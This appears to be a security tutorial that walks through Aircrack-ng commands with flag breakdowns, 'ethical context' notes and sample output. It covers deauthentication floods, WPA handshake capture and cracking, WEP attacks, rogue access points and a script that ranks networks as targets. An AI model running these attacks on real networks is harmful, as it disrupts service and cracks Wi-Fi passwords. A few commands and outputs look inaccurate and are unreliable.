#### Tactical Operations: Core Commands & Use-Cases

This section details the individual components of the Aircrack-ng suite. Each tool serves a specific purpose in the overall workflow of a wireless security audit.

#### Airmon-ng: Interface Management

`airmon-ng` is the utility used to enable and disable monitor mode on wireless interfaces. Monitor mode is a prerequisite for most wireless attacks, as it allows the network card to capture packets without being associated with an access point.

#### Objective: List Available Wireless Interfaces

Identify the wireless network interfaces available on the system.

Command:

Bash

    airmon-ng

Command Breakdown:

- `airmon-ng`: Called without arguments, it lists the physical wireless interfaces and their status.

Ethical Context & Use-Case: Before you can begin a wireless assessment, you must know the identifier for your wireless card (e.g., `wlan0`). This command provides that information and tells you the driver and chipset, which is useful for troubleshooting compatibility issues.

--> Expected Output:

    PHY     Interface       Driver          Chipset

    phy0    wlan0           ath9k_htc       Atheros Communications, Inc. AR9271 802.11n

#### Objective: Check for Interfering Processes

Identify and list any processes that might interfere with monitor mode operations.

Command:

Bash

    airmon-ng check

Command Breakdown:

- `airmon-ng`: The base command.

- `check`: An action that scans for processes known to manage network interfaces, which can conflict with Aircrack-ng's control over the device.

Ethical Context & Use-Case: Network managers and other services can try to automatically manage the wireless card, even after you've put it in monitor mode. This can cause tools to fail unexpectedly. Running this check is a crucial pre-flight step to ensure a stable and reliable capture environment.

--> Expected Output:

    Found 3 processes that could cause trouble.
    If airodump-ng, aireplay-ng or airtun-ng stops working after
    a short period of time, you may want to run 'airmon-ng check kill'

      PID   Name
      621   NetworkManager
      710   wpa_supplicant
      1450  dhclient

#### Objective: Terminate Interfering Processes

Automatically kill the processes identified by `airmon-ng check`.

Command:

Bash

    sudo airmon-ng check kill

Command Breakdown:

- `sudo`: Required to terminate system-level processes.

- `airmon-ng check kill`: Finds and terminates conflicting processes.

Ethical Context & Use-Case: This is the corrective action following `airmon-ng check`. By terminating these processes, you grant the Aircrack-ng suite exclusive control over the wireless interface, preventing it from being reset or reconfigured mid-operation. This is essential for long-running capture or injection tasks.

--> Expected Output:

    Killing these processes:

      PID   Name
      710   wpa_supplicant

#### Objective: Enable Monitor Mode on a Specific Interface

Switch a wireless interface from managed mode to monitor mode.

Command:

Bash

    sudo airmon-ng start wlan0

Command Breakdown:

- `sudo`: Required to change the operational mode of a network device.

- `airmon-ng start`: The command to enable monitor mode.

- `wlan0`: The target interface to be placed into monitor mode.

Ethical Context & Use-Case: This is the foundational step for any passive or active wireless assessment. Enabling monitor mode allows tools like `airodump-ng` to listen to all 802.11 traffic in the vicinity, not just traffic addressed to your device. The new interface name (often ending in `mon`, e.g., `wlan0mon`) must be used in subsequent commands.

--> Expected Output:

    PHY     Interface       Driver          Chipset

    phy0    wlan0           ath9k_htc       Atheros Communications, Inc. AR9271 802.11n
            (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
            (mac80211 station mode vif disabled for [phy0]wlan0)

#### Objective: Disable Monitor Mode

Return the wireless interface to its normal "managed" state.

Command:

Bash

    sudo airmon-ng stop wlan0mon

Command Breakdown:

- `sudo`: Required to change the device mode.

- `airmon-ng stop`: The command to disable monitor mode.

- `wlan0mon`: The name of the monitor mode interface that was created.

Ethical Context & Use-Case: After completing a wireless audit, it's proper procedure to return the hardware to its original state. This allows the operating system's network manager to resume normal control of the interface for standard Wi-Fi connectivity.

--> Expected Output:

    PHY     Interface       Driver          Chipset

    phy0    wlan0mon        ath9k_htc       Atheros Communications, Inc. AR9271 802.11n
            (mac80211 station mode vif enabled on [phy0]wlan0)
            (mac80211 monitor mode vif disabled for [phy0]wlan0mon)

#### Airodump-ng: The Network Scanner & Packet Capturer

`airodump-ng` is used for packet capturing of 802.11 raw frames. It is particularly suitable for collecting WEP IVs (Initialization Vectors) and capturing WPA/WPA2 handshakes.

#### Objective: Basic Network Discovery

Scan the 2.4GHz spectrum to discover all nearby access points and connected clients.

Command:

Bash

    sudo airodump-ng wlan0mon

Command Breakdown:

- `sudo`: Required to access the raw network interface.

- `airodump-ng`: The packet capture tool.

- `wlan0mon`: The interface in monitor mode.

Ethical Context & Use-Case: This is the primary reconnaissance step in a wireless audit. It provides a real-time view of the target environment, including network names (ESSIDs), MAC addresses (BSSIDs), signal strength, encryption types, and client activity. This information is critical for identifying the specific target of the authorized audit.

#### Objective: Target a Specific Network and Capture Handshake

Focus the capture on a single channel and BSSID to ensure the capture of a WPA/WPA2 4-way handshake, saving the results to a file.

Command:

Bash

    sudo airodump-ng --bssid A8:4E:3F:73:DD:88 -c 6 -w handshake_capture wlan0mon

Command Breakdown:

- `--bssid A8:4E:3F:73:DD:88`: Filters the capture to only show and record packets from this specific access point.

- `-c 6`: Locks the wireless card to channel 6, preventing it from hopping and potentially missing the handshake.

- `-w handshake_capture`: Specifies the prefix for the output files (`.cap`, `.csv`, etc.). `airodump-ng` will create `handshake_capture-01.cap` and other related files.

- `wlan0mon`: The monitor mode interface.

Ethical Context & Use-Case: A WPA/WPA2 4-way handshake is required to perform an offline brute-force attack on the network's pre-shared key (PSK). This command focuses the capture on the authorized target network to increase the probability of capturing this handshake when a client connects or reconnects. The resulting `.cap` file is the primary artifact for `aircrack-ng`.

#### Objective: Filter Scan by Encryption Type (WEP)

Scan for and display only networks that are using the outdated and insecure WEP encryption protocol.

Command:

Bash

    sudo airodump-ng --encrypt WEP wlan0mon

Command Breakdown:

- `--encrypt WEP`: A filter that instructs `airodump-ng` to only display access points that broadcast support for WEP.

Ethical Context & Use-Case: In a large-scale wireless audit, an ethical hacker's goal is often to identify the "low-hanging fruit" first. WEP is trivially easy to break with enough captured data. This command quickly isolates these high-risk networks so they can be prioritized for remediation.

#### Aireplay-ng: The Packet Injector

`aireplay-ng` is a versatile tool used to inject frames into a wireless network. Its primary uses include generating traffic for WEP cracking, deauthenticating clients to capture WPA/WPA2 handshakes, and performing various other injection-based tests.

#### Objective: Test for Injection Capability

Perform a test to confirm that the wireless card and its driver can successfully inject packets into the air.

Command:

Bash

    sudo aireplay-ng --test wlan0mon

Command Breakdown:

- `--test` (or `-9`): The flag that initiates the injection test.

- `wlan0mon`: The monitor mode interface to test.

Ethical Context & Use-Case: Not all wireless cards are created equal. Before attempting any active attacks, it is critical to verify that your hardware can actually perform packet injection. This test confirms your setup is working and provides feedback on the quality of the connection to nearby APs, helping you choose a viable target.

--> Expected Output:

    19:25:10  Trying broadcast probe requests...
    19:25:10  Injection is working!
    19:25:12  Found 5 APs

    19:25:12  Trying directed probe requests...

    19:25:18  FC:15:B4:CF:0A:55 - channel: 6 - 'Guest-WiFi'
    19:25:24   28/30:  93%
    ...

#### Objective: Perform a Deauthentication Attack

Force a specific client to disconnect from its access point. This is often done to trigger a reconnection and capture the WPA/WPA2 handshake.

Command:

Bash

    sudo aireplay-ng --deauth 5 -a A8:4E:3F:73:DD:88 -c A0:63:91:43:C2:D5 wlan0mon

Command Breakdown:

- `--deauth 5` (or `-0 5`): Specifies a deauthentication attack, sending 5 bursts of deauth packets. A value of `0` means send continuously.

- `-a A8:4E:3F:73:DD:88`: The MAC address of the access point (BSSID).

- `-c A0:63:91:43:C2:D5`: The MAC address of the client to deauthenticate. If omitted, it will deauthenticate all clients from the AP (a broadcast deauth).

- `wlan0mon`: The monitor mode interface.

Ethical Context & Use-Case: This is an active attack. Within an authorized test, it's the most common method to force a WPA handshake capture without waiting for a client to connect naturally. It simulates a temporary network disruption. Unauthorized use of this attack is illegal and can cause significant disruption to network users. It should only be used within the strict scope of a penetration test.

--> Expected Output:

    19:28:15  Waiting for beacon frame (BSSID: A8:4E:3F:73:DD:88) on channel 6
    19:28:15  Sending 64 directed DeAuths. STMAC: [A0:63:91:43:C2:D5] [ 0| 0 ACKs]

    19:28:17  Sending 64 directed DeAuths. STMAC: [A0:63:91:43:C2:D5] [ 0| 0 ACKs]

#### Objective: ARP Request Replay Attack for WEP

Listen for an ARP packet on the target network and then reinject it to generate a large volume of new, unique IVs for WEP cracking.

Command:

Bash

    sudo aireplay-ng --arpreplay -b 00:1A:2B:3C:4D:5E -h 11:22:33:44:55:66 wlan0mon

Command Breakdown:

- `--arpreplay` (or `-3`): Specifies the ARP request replay attack mode.

- `-b 00:1A:2B:3C:4D:5E`: The BSSID of the target WEP access point.

- `-h 11:22:33:44:55:66`: The MAC address of a legitimate client associated with the network. This can be your own MAC if you associate first, or a discovered client's MAC.

- `wlan0mon`: The monitor mode interface.

Ethical Context & Use-Case: This attack exploits a weakness in WEP where replaying ARP requests causes the AP to generate new packets with new IVs. Capturing tens of thousands of these IVs allows `aircrack-ng` to statistically determine the WEP key. This is a classic demonstration of WEP's fundamental insecurity and is used in penetration tests to prove that the protocol must be decommissioned.

--> Expected Output:

    Saving ARP requests to replay_arp-01.cap
    You should also start airodump-ng to capture replies.
    Read 342 packets (got 1 ARP requests and 0 ACKs), sent 1 packets...(1 pps)

#### Aircrack-ng: The Key Cracker

This is the flagship tool of the suite, designed to take captured packets and recover the network key through statistical analysis (WEP) or brute-force dictionary attacks (WPA/WPA2).

#### Objective: Crack a WEP Key from a Capture File

Use a capture file containing a large number of IVs to crack a WEP key.

Command:

Bash

    aircrack-ng wep_capture-01.cap

Command Breakdown:

- `aircrack-ng`: The cracking utility.

- `wep_capture-01.cap`: The input file containing captured packets, specifically IVs from a WEP network.

Ethical Context & Use-Case: This is the final stage of a WEP audit. After using `airodump-ng` and `aireplay-ng` to capture sufficient data (typically 50,000+ IVs), this command analyzes that data to recover the key. A successful crack provides definitive proof of the vulnerability and the need to upgrade to a more secure protocol like WPA3.

--> Expected Output:

    Opening wep_capture-01.cap
    Read 85432 packets.

#### Objective: Crack a WPA/WPA2 Key Using a Wordlist

Perform a dictionary attack against a captured WPA/WPA2 4-way handshake.

Command:

Bash

    aircrack-ng -w /usr/share/wordlists/rockyou.txt -b A8:4E:3F:73:DD:88 handshake_capture-01.cap

Command Breakdown:

- `-w /usr/share/wordlists/rockyou.txt`: Specifies the wordlist (`-w`) to use for the dictionary attack. Each word in this file will be tested as the possible password.

- `-b A8:4E:3F:73:DD:88`: Specifies the BSSID of the target network. This is important if the capture file contains handshakes from multiple networks.

- `handshake_capture-01.cap`: The input file containing the captured 4-way handshake.

Ethical Context & Use-Case: This simulates an attacker attempting to crack a WPA/WPA2 password offline. In a professional audit, this test is used to assess the strength of the target network's passphrase. If the key is found in a common wordlist, it indicates a weak password policy that must be addressed. The success of this attack is entirely dependent on the quality of the wordlist and the complexity of the password.

--> Expected Output:

    Opening handshake_capture-01.cap
    Read 1543 packets.

#### Other Utilities

The suite contains many other specialized tools. Here are a few examples.

#### Objective: Clean a Capture File (Wpaclean)

Use `wpaclean` to strip a capture file down to only the essential handshake packets and save it to a new, smaller file.

Command:

Bash

    wpaclean cleaned_handshake.cap handshake_capture-01.cap

Command Breakdown:

- `wpaclean`: The executable.

- `cleaned_handshake.cap`: The name of the new output file.

- `handshake_capture-01.cap`: The original input capture file.

Ethical Context & Use-Case: Capture files can become very large. `wpaclean` creates a minimal file containing only the necessary handshake data. This is useful for archiving, sharing with other tools (like Hashcat), or simply for more efficient processing, as `aircrack-ng` won't have to parse irrelevant packets.

--> Expected Output:

    Pwning handshake_capture-01.cap (1/1 100%)
    Net A8:4E:3F:73:DD:88 SECURE-AP
    Done.

#### Objective: Visualize Network Data (Airgraph-ng)

Generate a graph visualizing the relationships between clients and access points from an `airodump-ng` CSV file.

Command:

Bash

    airgraph-ng -i airodump_capture-01.csv -o network_map.png -g CAPR

Command Breakdown:

- `airgraph-ng`: The graphing utility.

- `-i airodump_capture-01.csv`: Specifies the input file, which must be the CSV output from `airodump-ng`.

- `-o network_map.png`: Specifies the output image file.

- `-g CAPR`: Specifies the graph type. CAPR stands for "Client to AP Relationship."

Ethical Context & Use-Case: Visual data can often reveal patterns that are missed in text-based outputs. This command creates a visual map of the wireless environment, showing which clients are connected to which access points. This is incredibly useful during reconnaissance to understand network segmentation and identify high-value targets, such as a client that is connected to multiple networks simultaneously.

--> Expected Output:

    **** WARNING Images can be large, up to 12 Feet by 12 Feet****
    Creating your Graph using, airodump_capture-01.csv and writing to, network_map.png
    Depending on your system this can take a bit. Please standby......
    [VISUAL OUTPUT: A PNG image file named network_map.png is created. The image contains a node-and-edge graph where access points are represented as red nodes and client devices are blue nodes. Lines connect clients to the APs they are associated with.]

#### Strategic Campaigns: Advanced Command Chains

The true power of command-line tools is realized when they are combined. Chaining Aircrack-ng suite utilities with standard Linux tools allows for powerful automation and data filtering.

#### Objective: Identify and Isolate a Target Network for Attack

Combine `airodump-ng` with `grep` to monitor the airwaves and automatically start a targeted capture once a specific network (e.g., "CORP-NET") comes online.

Command:

Bash

    airodump-ng wlan0mon --output-format csv | grep --line-buffered "CORP-NET" | while read line; do bssid=$(echo $line | awk -F, '{print $1}'); channel=$(echo $line | awk -F, '{print $4}'); [ ! -z "$bssid" ] && airodump-ng wlan0mon -c $channel --bssid $bssid -w CORP-NET_capture; done

Command Breakdown:

- `airodump-ng wlan0mon --output-format csv`: Starts a scan and outputs the data in CSV format to standard output.

- `|`: The pipe operator, which sends the output of the first command to the input of the second.

- `grep --line-buffered "CORP-NET"`: Filters the real-time output from `airodump-ng`, only passing through lines that contain the string "CORP-NET". `--line-buffered` is crucial for real-time processing.

- `while read line; do ... done`: A loop that processes the single line of output from `grep`.

- `bssid=$(echo $line | awk -F, '{print $1}')`: Extracts the first field (BSSID) from the CSV line.

- `channel=$(echo $line | awk -F, '{print $4}')`: Extracts the fourth field (channel) from the CSV line.

- `[ ! -z "$bssid" ] && airodump-ng ...`: If a BSSID was successfully extracted, it launches a new, targeted `airodump-ng` instance focused on that specific network.

Ethical Context & Use-Case: This command chain automates the reconnaissance and capture process. In a physical penetration test, an auditor might be waiting for a specific, out-of-scope network to turn off and an in-scope one to turn on. This script can be left running to automatically begin the capture process for the authorized target the moment it is detected, increasing efficiency and ensuring no data is missed.

--> Expected Output: The terminal will initially be blank. Once an AP with the ESSID "CORP-NET" is detected, the `grep` will pass its data to the loop, and a new, targeted `airodump-ng` screen will appear.

#### Objective: Pipe a Custom-Generated Wordlist Directly into Aircrack-ng

Use the `crunch` password generation tool to create a custom wordlist based on a pattern and pipe it directly into `aircrack-ng`, avoiding the need to store a large wordlist file.

Command:

Bash

    crunch 8 8 0123456789 -o STDOUT | aircrack-ng -w - -b A8:4E:3F:73:DD:88 handshake_capture-01.cap

Command Breakdown:

- `crunch 8 8 0123456789`: A command to generate all possible 8-digit numeric passwords (from 00000000 to 99999999).

- `-o STDOUT`: Instructs `crunch` to write its output to standard output instead of a file.

- `|`: Pipes the generated passwords.

- `aircrack-ng`: The cracking tool.

- `-w -`: The crucial part. It tells `aircrack-ng` to read the wordlist from standard input (`-`) instead of a file.

- `-b ... handshake_capture-01.cap`: Standard `aircrack-ng` arguments for the target and capture file.

Ethical Context & Use-Case: This is a highly efficient way to conduct a brute-force attack when you have intelligence about the target's password policy (e.g., "password is always an 8-digit PIN"). It saves significant disk space, as multi-terabyte wordlists are impractical to store. This demonstrates a targeted, intelligent approach to password cracking rather than a blind, generic dictionary attack.

--> Expected Output: The output will look like a standard `aircrack-ng` cracking session, but the key counter will proceed systematically through all 8-digit numbers.

#### AI Augmentation: Integrating with Artificial Intelligence

Leveraging AI and data science techniques can significantly enhance the effectiveness and efficiency of wireless audits, transforming raw data into actionable intelligence.

#### Objective: Prioritize Targets Using Python and Pandas

Analyze the CSV output from `airodump-ng` with a Python script to identify the most promising targets based on signal strength, number of clients, and security protocol.

Command: This is a Python script that would be run after a capture session. First, run `airodump-ng` to get the data:

Bash

    sudo airodump-ng wlan0mon --output-format csv -w analysis_dump
    # Let this run for a few minutes, then stop it with Ctrl+C

Then, execute the Python script:

Python

    # File: analyze_networks.py
    import pandas as pd
    import os

    # Find the latest airodump CSV file
    csv_files = [f for f in os.listdir('.') if f.startswith('analysis_dump') and f.endswith('.csv')]
    if not csv_files:
        print("No airodump CSV file found.")
        exit()

    latest_file = sorted(csv_files)[-1]
    print(f"Analyzing {latest_file}...")

    # Read the CSV data, skipping the initial client list
    with open(latest_file, 'r') as f:
        lines = f.readlines()

    ap_lines = []
    client_line_index = -1
    for i, line in enumerate(lines):
        if 'Station MAC' in line:
            client_line_index = i
            break
        ap_lines.append(line)

    # Load AP data into a pandas DataFrame
    ap_data = pd.read_csv(pd.io.common.StringIO("".join(ap_lines)))
    ap_data.columns = [col.strip() for col in ap_data.columns] # Clean column names

    # Data cleaning and type conversion
    ap_data['Power'] = pd.to_numeric(ap_data['Power'])
    ap_data['#Data'] = pd.to_numeric(ap_data['#Data'])

    # Simple scoring algorithm
    # Higher score is better (stronger signal, more data traffic, weaker security)
    def calculate_priority_score(row):
        score = 0
        # Power (signal strength): lower negative number is better
        score += (100 + row['Power']) * 1.5
        # Data traffic
        score += row['#Data'] * 0.5
        # Security protocol
        if 'WEP' in row['Privacy']:
            score += 100
        if 'WPA' in row['Privacy'] and 'WPA2' not in row['Privacy']:
            score += 50
        if 'OPN' in row['Privacy']:
            score += 20
        return score

    ap_data['PriorityScore'] = ap_data.apply(calculate_priority_score, axis=1)

    # Display prioritized list
    prioritized_aps = ap_data.sort_values(by='PriorityScore', ascending=False)
    print("\n--- Prioritized Target List ---")
    print(prioritized_aps[['BSSID', 'ESSID', 'Privacy', 'Power', '#Data', 'PriorityScore']])

Command Breakdown:

- The script reads the CSV file generated by `airodump-ng`.

- It uses the `pandas` library to structure the data.

- A custom function `calculate_priority_score` assigns a numerical score to each detected access point based on factors like signal strength (`Power`), data activity (`#Data`), and encryption type (`Privacy`).

- WEP networks are given a huge priority boost.

- The final output is a sorted list, presenting the most strategically advantageous targets at the top.

Ethical Context & Use-Case: In a complex environment with dozens or hundreds of wireless networks, manual analysis is time-consuming and prone to error. This AI-augmented approach automates the decision-making process. By programmatically ranking targets, a penetration tester can focus their efforts where they are most likely to succeed, making the audit more efficient and effective. This moves beyond simple data collection to intelligent data analysis.

#### Objective: Scan for Networks with WPS Enabled

Isolate and display only access points that are broadcasting WPS (Wi-Fi Protected Setup) capabilities, as these can be vulnerable to specific attacks like Pixie Dust.

Command:

Bash

    sudo airodump-ng --wps wlan0mon

Command Breakdown:

- `--wps`: This flag tells `airodump-ng` to display WPS information, including version, state, and method, if the AP is broadcasting it in its beacons.

Ethical Context & Use-Case: During a wireless audit, identifying APs with WPS enabled is a high-priority task. Many older WPS implementations are notoriously insecure. This command allows a penetration tester to quickly identify these potential targets for further testing with tools like Reaver or Bully, all within the scope of an authorized assessment.

#### Objective: Filter Networks by Uptime

Display only access points that have been running for a specific duration, which can help identify stable, long-running infrastructure versus transient devices.

Command:

Bash

    sudo airodump-ng --uptime wlan0mon

Command Breakdown:

- `--uptime`: This option calculates and displays the uptime of an access point based on its beacon timestamp field.

Ethical Context & Use-Case: An AP with a very long uptime might be a neglected piece of infrastructure, potentially running outdated firmware. Conversely, an AP that just appeared might be a rogue device. This command provides an additional data point for intelligence gathering, helping the auditor prioritize targets based on their operational stability.

#### Objective: Save Capture in Kismet and PCAP Format Simultaneously

Capture wireless traffic and save the output in multiple formats concurrently, specifically `pcap` for Wireshark/Aircrack-ng and `netxml` for Kismet.

Command:

Bash

    sudo airodump-ng -c 6 --bssid A8:4E:3F:73:DD:88 -w multi_format_capture --output-format pcap,netxml wlan0mon

Command Breakdown:

- `-w multi_format_capture`: Sets the file prefix for the output.

- `--output-format pcap,netxml`: A comma-separated list specifying the desired output formats. `pcap` is the standard capture format, and `netxml` is compatible with the Kismet wireless tool.

Ethical Context & Use-Case: Different analysis tools require different input formats. This command allows an ethical hacker to capture data once and use it across their entire toolkit without needing to perform file conversions later. This improves workflow efficiency, especially when collaborating with a team that uses a variety of tools.

--> Expected Output:

    ...
    (In the current directory, files multi_format_capture-01.cap and multi_format_capture-01.netxml are created)

#### Objective: Perform a Broadcast Deauthentication Attack

Disconnect all clients from a specific access point simultaneously, rather than targeting a single client.

Command:

Bash

    sudo aireplay-ng --deauth 0 -a A8:4E:3F:73:DD:88 wlan0mon

Command Breakdown:

- `--deauth 0`: Initiates a deauthentication attack. The `0` specifies a continuous attack, sending deauth packets indefinitely until stopped (Ctrl+C).

- `-a A8:4E:3F:73:DD:88`: The MAC address of the target access point.

- (No `-c` flag): The omission of the client MAC address flag (`-c`) is what turns this into a broadcast attack, targeting every client associated with the AP.

Ethical Context & Use-Case: This is a powerful stress-testing tool. In an authorized test, it can be used to verify how a network and its clients respond to a widespread denial-of-service condition. It is also a very effective (though noisy) way to capture multiple WPA handshakes as all clients attempt to reconnect at once. This must be used with extreme caution as it is highly disruptive.

--> Expected Output:

    20:14:02  Sending broadcast DeAuths...

#### Objective: Perform the KoreK "ChopChop" Attack

Decrypt a single WEP data packet without knowing the key, which can also reveal the plaintext and PRGA keystream.

Command:

Bash

    sudo aireplay-ng --chopchop -b 00:1A:2B:3C:4D:5E -h 11:22:33:44:55:66 wlan0mon

Command Breakdown:

- `--chopchop` (or `-4`): Specifies the ChopChop attack mode.

- `-b 00:1A:2B:3C:4D:5E`: The BSSID of the WEP access point.

- `-h 11:22:33:44:55:66`: The MAC address of an associated client to which the captured packet was sent.

Ethical Context & Use-Case: The ChopChop attack is a powerful demonstration of WEP's cryptographic weaknesses. Instead of relying on statistical cracking, it works on a single packet. It can be used to decrypt data when there isn't enough traffic for a statistical attack. The recovered PRGA can then be used with `packetforge-ng` to create new packets for injection.

--> Expected Output:

    Read 1 packets...

            Size: 68, FromDS: 1, ToDS: 0, WEP: 1, BSSID: 00:1A:2B:3C:4D:5E

    Use the plaintext to create a dictionary file? [y/n] y
    ...

#### Objective: Perform the Fragmentation Attack

Exploit WEP fragmentation to obtain a usable PRGA keystream for packet forging, which is often more reliable than the ChopChop attack.

Command:

Bash

    sudo aireplay-ng --fragment -b 00:1A:2B:3C:4D:5E -h 11:22:33:44:55:66 wlan0mon

Command Breakdown:

- `--fragment` (or `-5`): Initiates the fragmentation attack.

- `-b 00:1A:2B:3C:4D:5E`: The target WEP AP's BSSID.

- `-h 11:22:33:44:55:66`: Your own MAC address, as this attack works by sending packets from your machine.

Ethical Context & Use-Case: This is another advanced WEP attack. Its goal is not to decrypt packets, but to trick the AP into revealing a valid keystream. Once 128 bytes of PRGA are obtained, `packetforge-ng` can be used to create any type of packet (e.g., ARP requests) and encrypt it with that keystream, allowing for reliable injection to generate IVs for cracking. This is often the go-to method when standard ARP replay fails.

--> Expected Output:

    Saving chosen packet to replay_src-0816-201620.cap
    Sent 10 packets, received 0 ACKs...
    Trying to get a valid keystream...
    [+] Got keystream of 128 bytes: 1A:2B:3C:...
    Use this keystream to forge a packet? [y/n] y
    ...
    Trying to send the forged packet...
    Got an ACK!

#### Objective: Create a WEP Key Mask for Aircrack-ng

Use a mask to speed up WEP cracking when you know parts of the key. For example, if you know the key is `A1:B2:XX:XX:E5`, where `XX` are unknown bytes.

Command:

Bash

    aircrack-ng -d A1:B2:XX:XX:E5 wep_capture-01.cap

Command Breakdown:

- `-d A1:B2:XX:XX:E5`: The `-d` (or `--debug-mask`) flag specifies the key mask. `X` is used as a placeholder for the unknown bytes that `aircrack-ng` will brute-force.

Ethical Context & Use-Case: In some scenarios, physical inspection of a device or social engineering might reveal a partial key. Instead of brute-forcing the entire keyspace, this command allows the auditor to focus computational power only on the unknown parts, dramatically reducing the time required to crack the key.

--> Expected Output:

    Opening wep_capture-01.cap
    Read 85432 packets.
    Choosing first network as target.
    Cracking with mask A1:B2:XX:XX:E5...

    KEY FOUND! [ A1:B2:C3:D4:E5 ]

#### Objective: Create and Use a Cracking Session

Start a lengthy WPA cracking session and save its state, then resume it later.

Command (Part 1: Start and Create Session):

Bash

    aircrack-ng -w huge_wordlist.txt -N my_wpa_session handshake_capture-01.cap

Command (Part 2: Resume Session):

Bash

    aircrack-ng -R my_wpa_session

Command Breakdown:

- `-N my_wpa_session`: Creates a new session file named `my_wpa_session.newsession`. `aircrack-ng` will save its progress to this file.

- `-R my_wpa_session`: Resumes the cracking process from the specified session file. `aircrack-ng` will automatically find the capture file and wordlist from the session data and continue where it left off.

Ethical Context & Use-Case: Cracking WPA2 with large wordlists can take hours, days, or even weeks. The session management feature is critical for professional penetration testers, as it allows them to pause and resume these long-running tasks without losing progress. This is essential for managing system reboots, power outages, or simply reallocating computing resources.

--> Expected Output (Part 1):

    ...
    [00:30:00] 3,500,000/1,000,000,000 keys tested... 0.35%

#### Objective: Forge a UDP Packet with Packetforge-ng

Create a custom UDP packet encrypted with a known PRGA stream for injection.

Command:

Bash

    packetforge-ng --udp -a BSSID -h SRC_MAC -k 192.168.1.255:67 -l 192.168.1.100:68 -y prga.bin -w udp_packet.cap

Command Breakdown:

- `--udp` (or `-1`): Specifies UDP packet forgery mode.

- `-a BSSID`: The BSSID of the target AP.

- `-h SRC_MAC`: The source MAC address for the packet.

- `-k 192.168.1.255:67`: The destination IP and port (e.g., a DHCP request).

- `-l 192.168.1.100:68`: The source IP and port.

- `-y prga.bin`: The file containing the PRGA keystream obtained from a fragmentation or chopchop attack.

- `-w udp_packet.cap`: The output file to save the forged packet.

Ethical Context & Use-Case: This demonstrates the ability to inject arbitrary, valid-looking traffic into a WEP network once a keystream is obtained. A security professional might use this to test firewall rules or intrusion detection systems within the encrypted network, checking if custom UDP traffic (like DNS queries or NTP requests) is being improperly handled.

--> Expected Output:

    Writing packet to udp_packet.cap

#### Objective: Create a Hidden AP (Honeypot)

Use `airbase-ng` to create a soft AP that does not broadcast its ESSID, making it a "hidden network."

Command:

Bash

    sudo airbase-ng -e "Stealth_AP" -c 11 -X wlan0mon

Command Breakdown:

- `-e "Stealth_AP"`: Sets the ESSID of the access point.

- `-c 11`: Sets the channel for the AP.

- `-X`: The hidden ESSID flag. This causes the beacon frames to be sent with a null ESSID.

Ethical Context & Use-Case: This can be used to test how client devices behave when they encounter hidden networks. Some corporate security policies mandate that devices should not connect to hidden networks. An auditor can use this command to create a test environment to verify if employee devices are compliant with this policy.

--> Expected Output:

    20:25:11  Created tap interface at0
    20:25:11  Access Point with BSSID 3C:46:D8:4E:EF:AA started on channel 11.

(The network "Stealth_AP" will be discoverable but its name will be hidden, often shown as `<length: 10>` in scanners)

#### Objective: Filter Airodump-ng by Signal Strength

Ignore all access points with a signal weaker than a specified threshold (e.g., -80 dBm).

Command:

Bash

    sudo airodump-ng --min-power -80 wlan0mon

Command Breakdown:

- `--min-power -80`: This filter tells `airodump-ng` to only display APs where the `PWR` value is greater than -80. Remember that for negative dBm values, a greater number is a stronger signal (e.g., -70 is stronger than -80).

Ethical Context & Use-Case: In a noisy RF environment, `airodump-ng` can be cluttered with dozens of distant, unusable networks. This command filters out the noise, allowing the pentester to focus only on networks with a strong enough signal to allow for reliable packet capture and injection attacks, saving time and improving focus.

--> Expected Output: Only APs with a `PWR` value of -79, -70, -60, etc., will be displayed. Anything at -80 or below (e.g., -81, -90) will be hidden.

#### Objective: Create an Ad-Hoc (IBSS) Honeypot

Use `airbase-ng` to create a peer-to-peer ad-hoc network, which can be used to test how clients react to non-infrastructure Wi-Fi.

Command:

Bash

    sudo airbase-ng -e "Peer2Peer_Test" -c 6 -A wlan0mon

Command Breakdown:

- `-e "Peer2Peer_Test"`: The name of the ad-hoc network.

- `-c 6`: The channel to operate on.

- `-A`: The Ad-Hoc Mode flag. This sets the appropriate capability bits in the beacon frames to signify an IBSS (Independent Basic Service Set) network.

Ethical Context & Use-Case: Some client devices are configured to automatically connect to ad-hoc networks, which can be a significant security risk. An auditor can use this command to create a test ad-hoc network and observe if any corporate devices automatically connect to it, which would be a policy violation and a finding for the report.

--> Expected Output:

    20:30:05  Created tap interface at0
    20:30:05  Trying to set MTU on at0 to 1500
    20:30:05  IBSS network with BSSID 3C:46:D8:4E:EF:AA started.

#### Objective: Use a Regular Expression to Find Target Networks

Use `airodump-ng` with a regex filter to find all networks that match a certain naming pattern, such as any ESSID ending in "-Guest".

Command:

Bash

    sudo airodump-ng --essid-regex ".*-Guest$" wlan0mon

Command Breakdown:

- `--essid-regex ".*-Guest$"`: The regex filter. `.*` matches any character zero or more times. `-Guest` matches the literal string. `$` asserts the position at the end of the string. So, this matches anything that ends with "-Guest".

Ethical Context & Use-Case: In a large corporate environment, guest networks often follow a predictable naming convention. This command allows a tester to quickly identify all potential guest networks, which are often a primary target in an audit as they may have weaker security controls or provide a path to the internal network.

--> Expected Output: Only networks with ESSIDs like "Corp-Guest", "Floor5-Guest", etc., will be displayed.

#### Objective: Generate a Hashcat-compatible File from a Handshake

Convert a captured `.cap` file containing a WPA handshake directly into the newer `HCCAPX` format for use with Hashcat.

Command:

Bash

    aircrack-ng -j handshake.hccapx handshake_capture-01.cap

Command Breakdown:

- `-j handshake.hccapx`: The `-j` flag tells `aircrack-ng` to perform a conversion operation and specifies the output filename for the HCCAPX file.

- `handshake_capture-01.cap`: The input file with the handshake.

Ethical Context & Use-Case: While `aircrack-ng` is a capable cracker, Hashcat is renowned for its speed, especially on GPUs. Professional pentesters frequently use both tools. This command provides the essential bridge, converting the capture into the optimized format Hashcat requires, allowing the tester to leverage the best tool for the job.

--> Expected Output:

    Opening handshake_capture-01.cap
    Read 1543 packets.
    1 handshake(s) written to handshake.hccapx
    Quitting aircrack-ng...

#### Objective: Run a WPA Cracking Speed Test

Benchmark the performance of your CPU for WPA/WPA2 cracking without needing a capture file.

Command:

Bash

    aircrack-ng -S

Command Breakdown:

- `-S`: The speed test flag. It initiates a standardized benchmark to measure how many keys per second (k/s) your system can test.

Ethical Context & Use-Case: Before launching a multi-day cracking job, it's crucial to understand your hardware's capabilities. This command provides a quick performance metric. An auditor can use this to estimate the time required for a dictionary attack, helping them to decide whether to run the job on their current machine or offload it to a more powerful dedicated cracking rig.

--> Expected Output:

    Running WPA cracking speed test.
    Press Ctrl-C to abort.

                            Aircrack-ng 1.7

